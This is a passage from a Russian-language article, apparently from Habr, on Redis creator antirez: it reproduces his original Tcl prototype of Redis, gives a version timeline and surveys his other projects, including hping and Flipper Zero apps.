\u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0411\u0414 <a href=\"https:\/\/github.com\/redis\/redis\">Redis<\/a> (remote dictionary server), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0421\u0430\u043d\u0444\u0438\u043b\u0438\u043f\u043f\u043e \u0443\u0433\u043d\u0435\u0442\u0430\u043b\u0430 \u043d\u0438\u0437\u043a\u0430\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c MySQL \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043b\u043e\u0433\u043e\u0432 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u042d\u0442\u043e \u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u043d\u0430\u044f \u0411\u0414, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u0442 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 <a href=\"https:\/\/redis.io\/docs\/management\/optimization\/benchmarks\/\">\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438<\/a>. \u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u043d\u0430 \u0421\u0438, \u0441\u0435\u0439\u0447\u0430\u0441 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f <a href=\"https:\/\/db-engines.com\/en\/ranking\/key-value+store\">\u0441\u0430\u043c\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0421\u0423\u0411\u0414 NoSQL<\/a> \u0438 <a href=\"https:\/\/insights.stackoverflow.com\/survey\/2021#most-loved-dreaded-and-wanted-database-love-dread\">\u0441\u0430\u043c\u043e\u0439 \u043b\u044e\u0431\u0438\u043c\u043e\u0439 \u0421\u0423\u0411\u0414 \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432<\/a>. <\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u043f\u0443\u0441\u043a \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f 10\u00a0\u043c\u0430\u044f 2009\u00a0\u0433\u043e\u0434\u0430: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0431\u044b\u043b \u043d\u0430\u043f\u0438\u0441\u0430\u043d <a href=\"https:\/\/gist.github.com\/antirez\/6ca04dd191bdb82aad9fb241013e88a8\">\u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 Tcl<\/a>. \u0422\u043e\u0433\u0434\u0430 \u043e\u043d\u0430 \u0435\u0449\u0451 \u043d\u0430\u0437\u044b\u0432\u0430\u043b\u0430\u0441\u044c LMDB (LLOOGG Memory DB), \u0432\u043e\u0442 \u0435\u0451 \u043a\u043e\u0434, 319 \u0441\u0442\u0440\u043e\u043a:<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">LMDB<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\"># LVDB - LLOOGG Memory DB # Copyriht (C) 2009 Salvatore Sanfilippo &lt;antirez@gmail.com> # All Rights Reserved  # TODO # - cron with cleanup of timedout clients, automatic dump # - the dump should use array startsearch to write it line by line #   and may just use gets to read element by element and load the whole state. # - 'help','stopserver','saveandstopserver','save','load','reset','keys' commands. # - ttl with milliseconds resolution 'ttl a 1000'. Check ttl in dump! # - cluster. Act as master, send write ops to all servers, get from one at random. Auto-serialization. # - 'hold' and 'continue' command, for sync in cluster mode # - auto-sync, consider lazy copy or log of operations to re-read at start # - client timeout # - save dump in temp file.[clock ticks] than rename it  package require Tclx ;# For [fork]  array set ::clients {} array set ::state {} array set ::readlen {} array set ::readbuf {} array set ::db {} array set ::ttl {} set ::dirty 0 set ::lastsaved 0 set ::listensocket {}  signal -restart block SIGCHLD  # the K combinator is using for Tcl object refcount hacking # in order to avoid useless object copy. proc K {x y} {     set x }  proc headappend {var e} {     upvar 1 $var l     set l [lreplace [K $l [set l {}]] -1 -1 $e] }  proc log msg {     puts stderr \"[clock format [clock seconds]]\\] $msg \" }  proc warning msg {     log \"*** WARNING: $msg\" }  proc writemsg {fd msg} {     puts -nonewline $fd $msg     puts -nonewline $fd \"\\r\\n\" }  proc resetclient {fd} {     set ::clients($fd) [clock seconds]     set ::state($fd) {}     set ::readlen($fd) 0     set ::readbuf($fd) {} }  proc accept {fd addr port} {     resetclient $fd     fconfigure $fd -blocking 0 -translation binary -encoding binary     fileevent $fd readable [list readrequest $fd] }  proc readrequest fd {     if [eof $fd] {         closeclient $fd         return     }      # Handle bulk read     if {$::state($fd) ne {}} {         set buf [read $fd [expr {$::readlen($fd)-[string length $::readbuf($fd)]}]]         append ::readbuf($fd) $buf         if {[string length $::readbuf($fd)] >= $::readlen($fd)} {             set ::readbuf($fd) [string range $::readbuf($fd) 0 end-2]             lappend ::state($fd) $::readbuf($fd)             cmd_[lindex $::state($fd) 0] $fd $::state($fd)         }         return     }      # Handle first line request     set req [string trim [gets $fd] \"\\r\\n \"]     if {$req eq {}} return      # Process command     set args [split $req]     set cmd [string tolower [lindex $args 0]]     foreach ct $::cmdtable {         if {$cmd eq [lindex $ct 0] &amp;&amp; [llength $args] == [lindex $ct 1]} {             if {[lindex $ct 2] eq {inline}} {                 cmd_$cmd $fd $args             } else {                 set readlen [lindex $args end]                 if {$readlen &lt; 0 || $readlen > 1024*1024} {                     writemsg $fd \"protocol error: invalid bulk read length\"                     closeclient $fd                     return                 }                 bulkread $fd [lrange $args 0 end-1] $readlen             }             return         }     }     writemsg $fd \"protocol error: invalid command '$cmd'\"     closeclient $fd }  proc bulkread {fd argv len} {     set ::state($fd) $argv     set ::readlen($fd) [expr {$len+2}]  ;# Add two bytes for CRLF }  proc closeclient fd {     unset ::clients($fd)     unset ::state($fd)     unset ::readlen($fd)     unset ::readbuf($fd)     close $fd }  proc cron {} {     # Todo timeout clients timeout     puts \"lmdb: [array size ::db] keys, [array size ::clients] clients, dirty: $::dirty, lastsaved: $::lastsaved\"     after 1000 cron }  set ::cmdtable {     {ping 1 inline}     {quit 1 inline}     {set 3 bulk}     {get 2 inline}     {exists 2 inline}     {delete 2 inline}     {incr 2 inline}     {decr 2 inline}     {lpush 3 bulk}     {rpush 3 bulk}     {save 1 inline}     {bgsave 1 inline} }  proc okreset {fd {msg OK}} {     writemsg $fd $msg     flush $fd     resetclient $fd }  proc cmd_ping {fd argv} {     writemsg $fd \"PONG\"     flush $fd     resetclient $fd }  proc cmd_quit {fd argv} {     okreset $fd     closeclient $fd }  proc cmd_set {fd argv} {     set ::db([lindex $argv 1]) [lindex $argv 2]     incr ::dirty     okreset $fd }  proc cmd_get {fd argv} {     if {[info exists ::db([lindex $argv 1])]} {         set val $::db([lindex $argv 1])     } else {         set val {}     }     writemsg $fd [string length $val]     writemsg $fd $val     flush $fd     resetclient $fd }  proc cmd_exists {fd argv} {     if {[info exists ::db([lindex $argv 1])]} {         set res 1     } else {         set res 0     }     writemsg $fd $res     flush $fd     resetclient $fd }  proc cmd_delete {fd argv} {     unset -nocomplain -- ::db([lindex $argv 1])     incr ::dirty     writemsg $fd \"OK\"     flush $fd     resetclient $fd }  proc cmd_incr {fd argv} {     cmd_incrdecr $fd $argv 1 }  proc cmd_decr {fd argv} {     cmd_incrdecr $fd $argv -1 }  proc cmd_incrdecr {fd argv n} {     if {[catch {         incr ::db([lindex $argv 1]) $n     }]} {         set ::db([lindex $argv 1]) $n     }     incr ::dirty     writemsg $fd $::db([lindex $argv 1])     flush $fd     resetclient $fd }  proc cmd_lpush {fd argv} {     cmd_push $fd $argv -1 }  proc cmd_rpush {fd argv} {     cmd_push $fd $argv 1 }  proc cmd_push {fd argv dir} {     if {[catch {         llength $::db([lindex $argv 1])     }]} {         if {![info exists ::db([lindex $argv 1])]} {             set ::db([lindex $argv 1]) {}         } else {             set ::db([lindex $argv 1]) [split $::db([lindex $argv 1])]         }     }     if {$dir == 1} {         lappend ::db([lindex $argv 1]) [lindex $argv 2]     } else {         headappend ::db([lindex $argv 1]) [lindex $argv 2]     }     incr ::dirty     okreset $fd }  proc savedb {} {     set err [catch {         set fp [open \"saved.lmdb\" w]         fconfigure $fp -encoding binary -translation binary         set search [array startsearch ::db]         set elements [array size ::db]         for {set i 0} {$i &lt; $elements} {incr i} {             set key [array nextelement ::db $search]             set val $::db($key)             puts $fp \"[string length $key] [string length $val]\"             puts -nonewline $fp $key             puts -nonewline $fp $val         }         close $fp         set ::dirty 0         set ::lastsaved [clock seconds]     } errmsg]     if {$err} {return $errmsg}     return {} }  proc backgroundsave {} {     unset -nocomplain ::dbcopy     array set ::dbcopy [array get ::db] }  proc cmd_bgsave {fd argv} {     backgroundsave     okreset $fd }  proc cmd_save {fd argv} {     set errmsg [savedb]     if {$errmsg ne {}} {         okreset $fd \"ER\"         warning \"Error trying to save: $errmsg\"     } else {         okreset $fd         log \"State saved\"     } }  proc loaddb {} {     set err [catch {         set fp [open \"saved.lmdb\"]         fconfigure $fp -encoding binary -translation binary         set count 0         while {[gets $fp len] != -1} {             set key [read $fp [lindex $len 0]]             set val [read $fp [lindex $len 1]]             set ::db($key) $val             incr count         }         log \"$count keys loaded\"         close $fp     } errmsg]     if {$err} {         warning \"Loading DB from file: $errmsg\"     }     return $err }  proc main {} {     log \"Server started\"     if {[file exists saved.lmdb]} loaddb     set ::dirty 0     set ::listensocket [socket -server accept 6379]     cron }  main vwait forever<\/code><\/pre>\n<\/div><\/div>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/x4\/en\/yw\/x4enywwtqulkf7r0nh2zcsmt5o0.jpeg\" align=\"right\" width=\"285\" data-src=\"https:\/\/habrastorage.org\/webt\/x4\/en\/yw\/x4enywwtqulkf7r0nh2zcsmt5o0.jpeg\" data-blurred=\"true\"\/>\u0417\u0430\u0442\u0435\u043c <i>antirez<\/i> \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 \u0421\u0438, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0442\u0438\u043f \u0434\u0430\u043d\u043d\u044b\u0445 (\u0441\u043f\u0438\u0441\u043e\u043a), \u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u0434\u0435\u043b\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u0435 \u0440\u0435\u0448\u0438\u043b \u0432\u044b\u043b\u043e\u0436\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u0430 HN. \u041a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0443\u0442\u0440\u043e \u043f\u0440\u043e\u0441\u043d\u0443\u043b\u0441\u044f \u0437\u043d\u0430\u043c\u0435\u043d\u0438\u0442\u044b\u043c. \u0423\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0420\u0411\u0414 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0432\u0441\u0435, \u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0432\u0437\u044f\u043b\u0430 \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0432\u044b\u0441\u0442\u0443\u043f\u0438\u0432\u0448\u0430\u044f \u0441\u043f\u043e\u043d\u0441\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Redis. \u041f\u043e\u0442\u043e\u043c \u0431\u044b\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043f\u043e\u043d\u0441\u043e\u0440\u044b, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 2020\u00a0\u0433\u043e\u0434\u0443 <i>antirez<\/i> \u0443\u0448\u0451\u043b \u0441 \u043f\u043e\u0441\u0442\u0430 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430, \u043a\u0430\u043a \u043c\u044b \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u0438.<\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0435 \u0433\u043e\u0434\u044b <i>antirez<\/i> \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043b <a href=\"http:\/\/invece.org\/#:~:text=it%20mostly%20while-,sitting%20on%20the%20WC,-for%20the%20first\">\u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0442\u0443\u0430\u043b\u0435\u0442\u0435<\/a>, \u0432 \u043e\u0434\u0438\u043d\u043e\u0447\u043a\u0443, \u043d\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u043c \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0435 MacBook Air 11, \u043d\u043e \u043f\u0440\u043e\u0435\u043a\u0442 \u0432\u044b\u0448\u0435\u043b \u043f\u043e\u0438\u0441\u0442\u0438\u043d\u0435 \u0432\u0435\u043b\u0438\u043a\u0438\u043c. \u042d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0430\u043c\u0430\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u0430\u044f \u0421\u0423\u0411\u0414, \u043d\u043e \u0438 \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438.<\/p>\n<p>  <i>antirez<\/i> \u0432 \u043e\u0434\u0438\u043d\u043e\u0447\u043a\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b \u043f\u0440\u043e\u0435\u043a\u0442 \u043e\u0442 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0, \u0432\u043e\u0442 \u0442\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u044d\u0442\u0438\u0445 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0438\u0437\u043c\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043b\u0435\u0442:<\/p>\n<div class=\"scrollable-table\">\n<table>\n<thead>\n<tr>\n<th><font color=\"#3AC1EF\">\u0414\u0430\u0442\u0430<\/font><\/th>\n<th><font color=\"#3AC1EF\">\u0412\u0435\u0440\u0441\u0438\u044f<\/font><\/th>\n<th><font color=\"#3AC1EF\">\u041d\u043e\u0432\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/font><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>\u0424\u0435\u0432\u0440\u0430\u043b\u044c 2009<\/td>\n<td>\uff1f<\/td>\n<td>\u0421\u0442\u0440\u043e\u043a\u0438, \u0441\u043f\u0438\u0441\u043a\u0438<\/td>\n<\/tr>\n<tr>\n<td>\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2009<\/td>\n<td>1.0<\/td>\n<td>\u041d\u0430\u0431\u043e\u0440\u044b, \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430\u0431\u043e\u0440\u044b, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c\u043e\u0441\u0442\u044c (RDB, AOF) \u0438\u00a0\u0434\u0440.<\/td>\n<\/tr>\n<tr>\n<td>\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2010<\/td>\n<td>2.0<\/td>\n<td>\u0425\u044d\u0448\u0438, pub\/sub, \u0431\u0438\u0442\u043c\u0430\u043f\u044b, \u0441\u043a\u0440\u0438\u043f\u0442\u044b Lua, HyperLogLog \u0438\u00a0\u0434\u0440.<\/td>\n<\/tr>\n<tr>\n<td>\u0410\u043f\u0440\u0435\u043b\u044c 2015<\/td>\n<td>3.0<\/td>\n<td>\u041a\u043b\u0430\u0441\u0442\u0435\u0440\u044b, \u0433\u0435\u043e\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u044b<\/td>\n<\/tr>\n<tr>\n<td>\u0418\u044e\u043b\u044c 2017<\/td>\n<td>4.0<\/td>\n<td>\u041c\u043e\u0434\u0443\u043b\u0438: RediSearch, RedisJSON, RedisGraph \u0438\u00a0\u0434\u0440.<\/td>\n<\/tr>\n<tr>\n<td>\u041e\u043a\u0442\u044f\u0431\u0440\u044c 2018<\/td>\n<td>5.0<\/td>\n<td>\u041f\u043e\u0442\u043e\u043a\u0438<\/td>\n<\/tr>\n<tr>\n<td>\u042f\u043d\u0432\u0430\u0440\u044c 2020<\/td>\n<td>6.0<\/td>\n<td>SSL, ACL \u0438 \u0434\u0440.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2><font color=\"#3AC1EF\">\u258d \u0414\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b<\/font><\/h2>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/antirez\/dump1090\">Dump1090<\/a> \u2014 \u0434\u0435\u043a\u043e\u0434\u0435\u0440 Mode-S \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0434\u0438\u043e \u043d\u0430 \u0431\u0430\u0437\u0435 \u0434\u0435\u0448\u0451\u0432\u044b\u0445 \u0422\u0412-\u0442\u044e\u043d\u0435\u0440\u043e\u0432 (RTL-SDR).  <\/li>\n<li>The <a href=\"https:\/\/github.com\/antirez\/linenoise\">Linenoise<\/a> \u2014 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u0441\u0442\u0440\u043e\u043a (\u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Redis, MongoDB, Android \u0438 \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445, \u0437\u0430\u043c\u0435\u043d\u0430 <code>readline<\/code>.  <\/li>\n<li><a href=\"https:\/\/github.com\/antirez\/kilo\">Kilo<\/a> \u2014 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 (\u043c\u0435\u043d\u0435\u0435 1000 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430), \u0441\u0442\u0430\u0432\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0421\u0438 \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0438\u0437\u0443\u0447\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u044f\u0437\u044b\u043a (<a href=\"https:\/\/asciinema.org\/a\/90r2i9bq8po03nazhqtsifksb\">\u0434\u0435\u043c\u043e<\/a>).  <\/li>\n<li><a href=\"https:\/\/github.com\/antirez\/load81\">Load81<\/a> \u2014 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0435\u0442\u0435\u0439;  <\/li>\n<li><a href=\"https:\/\/github.com\/antirez\/disque\">Disque<\/a> \u2014 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 (\u0445\u043e\u0442\u044f \u043f\u0440\u043e\u0435\u043a\u0442 \u0431\u044b\u043b \u0437\u0430\u0431\u0440\u043e\u0448\u0435\u043d, \u043d\u043e \u0430\u0432\u0442\u043e\u0440 \u043e\u0447\u0435\u043d\u044c \u0433\u043e\u0440\u0434\u0438\u0442\u0441\u044f \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043e\u0439).  <\/li>\n<li>\u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440 <a href=\"https:\/\/github.com\/antirez\/jim\">Jim Tcl<\/a> \u2014 \u0432 \u0441\u0432\u043e\u0451 \u0432\u0440\u0435\u043c\u044f \u0434\u0430\u043b \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0432\u0435\u0449\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442 \u0421\u0423\u0411\u0414 Redis.  <\/li>\n<li>\u0421\u0435\u0442\u0435\u0432\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 <a href=\"https:\/\/github.com\/antirez\/hping\">Hping<\/a> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b TCP\/IP \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b, \u043f\u0440\u0438\u043a\u043e\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 1998 \u0433\u043e\u0434\u0430 (\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430 \u0440\u0430\u043d\u0435\u0435).<\/li>\n<\/ul>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0430\u0432\u0442\u043e\u0440\u0430 \u043f\u0440\u0438\u0441\u0443\u0449 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0441 \u0443\u043f\u043e\u0440\u043e\u043c \u043d\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.<\/p>\n<p>  \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, <i>antirez<\/i> \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430 <a href=\"https:\/\/flipperzero.one\/\">Flipper Zero<\/a>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043c\u0443\u043b\u044c\u0442\u0438\u0442\u0443\u043b\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 NFC, RFID, Bluetooth, \u0418\u041a-\u043f\u0435\u0440\u0435\u0434\u0430\u0442\u0447\u0438\u043a\u043e\u043c \u0438 \u0441\u043b\u043e\u0442\u043e\u043c SD \u043e\u043d \u043b\u0438\u0447\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0440\/\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 <a href=\"https:\/\/github.com\/antirez\/protoview\">ProtoView<\/a> (\u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e Subghz) \u0438 <a href=\"https:\/\/github.com\/antirez\/flipper-astseroids\">Asteroids for Flipper<\/a>, \u043f\u043e\u0440\u0442 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0438\u0433\u0440\u044b Asteroids.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/_k\/p_\/74\/_kp_74723rrrmv8657fi9uinefw.png\" data-src=\"https:\/\/habrastorage.org\/webt\/_k\/p_\/74\/_kp_74723rrrmv8657fi9uinefw.png\"\/><\/p>\n<p>  Flipper Zero \u0443\u043c\u0435\u0435\u0442 \u0434\u0430\u0436\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u044e\u0447\u0438 \u043e\u0442 \u0434\u043e\u043c\u043e\u0444\u043e\u043d\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/bi\/a3\/aw\/bia3aw35c6gbxu0ydg2uaq3a94y.png\" data-src=\"https:\/\/habrastorage.org\/webt\/bi\/a3\/aw\/bia3aw35c6gbxu0ydg2uaq3a94y.png\"\/><\/p>\n<p>  \u041a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c Flipper Zero \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442 \u043b\u0435\u0433\u0435\u043d\u0434\u0430 \u0425\u0430\u0431\u0440\u0430 <a href=\"https:\/\/habr.com\/ru\/users\/zhovner\/\" class=\"user_link\">zhovner<\/a> \u041f\u0430\u0432\u0435\u043b \u0416\u043e\u0432\u043d\u0435\u0440, \u0442\u0430\u043a \u0447\u0442\u043e \u043c\u0438\u0440 \u0442\u0435\u0441\u0435\u043d, \u0430 \u0442\u0430\u043b\u0430\u043d\u0442\u044b 